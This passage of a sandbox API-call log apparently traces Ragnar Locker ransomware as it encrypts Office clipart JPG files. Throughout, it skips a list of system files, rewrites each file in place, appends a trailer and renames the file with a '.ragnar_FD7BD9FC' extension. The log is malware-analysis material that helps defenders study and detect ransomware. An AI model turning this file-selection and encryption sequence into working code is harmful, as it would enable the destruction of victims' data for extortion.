hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13845) returned 1 [0087.877] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x360c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.877] GetProcessHeap () returned 0x580000 [0087.877] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.878] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.879] VirtualAlloc (lpAddress=0x0, dwSize=0x3615, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.879] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.879] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.879] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3615, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3615, lpOverlapped=0x0) returned 1 [0087.880] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.880] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3615, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.880] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3615, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3615, lpOverlapped=0x0) returned 1 [0087.881] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3615, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.881] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.881] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3615, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.881] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.881] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.881] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.881] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.881] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.881] GetProcessHeap () returned 0x580000 [0087.881] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.881] CloseHandle (hObject=0xf4) returned 1 [0087.881] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" [0087.881] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.ragnar_FD7BD9FC" [0087.881] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341636.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341636.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.882] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56772310, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2026, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341645.JPG", cAlternateFileName="")) returned 1 [0087.882] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.882] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341645.JPG" | out: lpString1="J0341645.JPG") returned="J0341645.JPG" [0087.882] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG") returned=".JPG" [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="autorun.inf") returned 1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="boot.ini") returned 1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="bootfont.bin") returned 1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="bootsect.bak") returned 1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="bootmgr") returned 1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="bootmgr.efi") returned 1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="bootmgfw.efi") returned 1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="desktop.ini") returned 1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="iconcache.db") returned 1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="ntldr") returned -1 [0087.882] lstrcmpiW (lpString1="J0341645.JPG", lpString2="ntuser.dat") returned -1 [0087.883] lstrcmpiW (lpString1="J0341645.JPG", lpString2="ntuser.dat.log") returned -1 [0087.883] lstrcmpiW (lpString1="J0341645.JPG", lpString2="ntuser.ini") returned -1 [0087.883] lstrcmpiW (lpString1="J0341645.JPG", lpString2="thumbs.db") returned -1 [0087.883] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.883] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.883] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.883] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.883] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.883] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.883] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.883] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg")) returned 0x20 [0087.884] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.884] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=8230) returned 1 [0087.884] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x201d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.884] GetProcessHeap () returned 0x580000 [0087.884] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.884] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.886] VirtualAlloc (lpAddress=0x0, dwSize=0x2026, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.886] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.886] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.886] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2026, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2026, lpOverlapped=0x0) returned 1 [0087.887] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.887] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2026, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.887] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2026, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2026, lpOverlapped=0x0) returned 1 [0087.887] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2026, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.888] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.888] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2026, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.888] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.888] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.888] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.888] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.888] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.888] GetProcessHeap () returned 0x580000 [0087.888] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.888] CloseHandle (hObject=0xf4) returned 1 [0087.888] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" [0087.888] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.ragnar_FD7BD9FC" [0087.888] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341645.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341645.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.889] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3df7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341653.JPG", cAlternateFileName="")) returned 1 [0087.889] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.889] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341653.JPG" | out: lpString1="J0341653.JPG") returned="J0341653.JPG" [0087.889] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG") returned=".JPG" [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="autorun.inf") returned 1 [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="boot.ini") returned 1 [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="bootfont.bin") returned 1 [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="bootsect.bak") returned 1 [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="bootmgr") returned 1 [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="bootmgr.efi") returned 1 [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="bootmgfw.efi") returned 1 [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="desktop.ini") returned 1 [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="iconcache.db") returned 1 [0087.889] lstrcmpiW (lpString1="J0341653.JPG", lpString2="ntldr") returned -1 [0087.890] lstrcmpiW (lpString1="J0341653.JPG", lpString2="ntuser.dat") returned -1 [0087.890] lstrcmpiW (lpString1="J0341653.JPG", lpString2="ntuser.dat.log") returned -1 [0087.890] lstrcmpiW (lpString1="J0341653.JPG", lpString2="ntuser.ini") returned -1 [0087.890] lstrcmpiW (lpString1="J0341653.JPG", lpString2="thumbs.db") returned -1 [0087.890] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.890] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.890] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.890] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.890] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.890] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.890] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.890] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg")) returned 0x20 [0087.890] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.890] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15863) returned 1 [0087.890] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3dee, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.890] GetProcessHeap () returned 0x580000 [0087.890] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.890] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.892] VirtualAlloc (lpAddress=0x0, dwSize=0x3df7, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.892] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.892] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0087.892] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3df7, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3df7, lpOverlapped=0x0) returned 1 [0087.893] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0087.893] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3df7, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.893] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3df7, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3df7, lpOverlapped=0x0) returned 1 [0087.893] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3df7, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.894] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0087.894] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3df7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.894] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0087.894] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.894] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0087.894] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0087.894] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0087.894] GetProcessHeap () returned 0x580000 [0087.894] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0087.894] CloseHandle (hObject=0xf4) returned 1 [0087.894] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" [0087.894] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.ragnar_FD7BD9FC" [0087.894] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341653.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341653.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0087.895] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x66188a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3d7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0341654.JPG", cAlternateFileName="")) returned 1 [0087.895] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0087.895] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0341654.JPG" | out: lpString1="J0341654.JPG") returned="J0341654.JPG" [0087.895] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG") returned=".JPG" [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="autorun.inf") returned 1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="boot.ini") returned 1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="bootfont.bin") returned 1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="bootsect.bak") returned 1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="bootmgr") returned 1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="bootmgr.efi") returned 1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="bootmgfw.efi") returned 1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="desktop.ini") returned 1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="iconcache.db") returned 1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="ntldr") returned -1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="ntuser.dat") returned -1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="ntuser.dat.log") returned -1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="ntuser.ini") returned -1 [0087.895] lstrcmpiW (lpString1="J0341654.JPG", lpString2="thumbs.db") returned -1 [0087.895] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0087.895] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0087.895] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0087.896] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0087.896] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0087.896] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0087.896] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0087.896] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg")) returned 0x20 [0087.896] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0341654.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0341654.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0087.896] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=15743) returned 1 [0087.896] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3d76, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.896] GetProcessHeap () returned 0x580000 [0087.896] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0087.896] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0087.898] VirtualAlloc (lpAddress=0x0, dwSize=0x3d7f, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0087.898] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0087.898] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: 